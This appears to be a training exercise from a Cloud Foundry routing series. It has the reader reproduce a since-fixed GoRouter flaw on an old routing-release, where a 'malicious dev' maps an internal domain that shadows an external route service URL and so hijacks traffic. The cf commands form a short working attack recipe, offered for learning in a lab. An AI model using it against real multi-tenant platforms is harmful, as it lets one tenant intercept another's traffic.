Assumptions

  • You have a CF deployed
  • You have one proxy app pushed and called appA
  • You have one route mapped to appA called APP_A_ROUTE
  • You unbound the rate limiter route service from the previous story

What

In the previous story when you created your own Route Service you ran a command that looked something like this…

cf create-user-provided-service MY_SERVICE -r MY_SERVICE_URL

The route MY_SERVICE_URL could be inside or outside of your Cloud Foundry. However, one takes precedence. Let’s say that MY_SERVICE_URL exists inside and outside of your Cloud Foundry. (Before a recent fix) GoRouter would “hairpin” and always default to the MY_SERVICE_URL that exists inside the Cloud Foundry.

Let’s exploit this.

How

😇 Pretend that you are an innocent dev

  1. You need to deploy to an older version of routing-release from before this attack vector was fixed. Deploy CF with routing-release 0.186.0.

  2. Create a Route Service that sends all traffic to whitehouse.gov
    cf create-user-provided-service realwhitehouse -r https://www.whitehouse.gov/
    
  3. Bind this new Route Service to your APP_A_ROUTE
    cf bind-route-service DOMAIN --hostname HOSTNAME realwhitehouse`
    
  4. See that when you curl APP_A_ROUTE, you now just get www.whitehouse.gov (I don’t know why you would want this. But it’s an easy way to show this attack vector.)

😈 Pretend that you are a malicious dev

  1. Push an app called fakewhitehouse using --no-route

  2. Create the domain whitehouse.gov (cf create-shared-domain --help)

  3. Map the route www.whitehouse.gov to the app fakewhitehouse
    cf map-route fakewhitehouse whitehouse.gov --hostname www
    
  4. In one terminal, watch the logs for the fakewhitehouseapp (cf logs --help)

  5. In another terminal curl APP_A_ROUTE

Expected Results

  • You should see in the fakewhitehouse app logs that traffic was redirected to fakewhitehouse
  • You should see by the response, that traffic was never sent to the real whitehouse.gov

❓ Questions

  • What happened?
  • Why is this really, really bad?
  • How could you exploit this on a multi-tennant deployment?
  • What level of permissions do you need to exploit this?

Extra Credit

Find the code in GoRouter that let this happen. Maybe start your search here.

Resources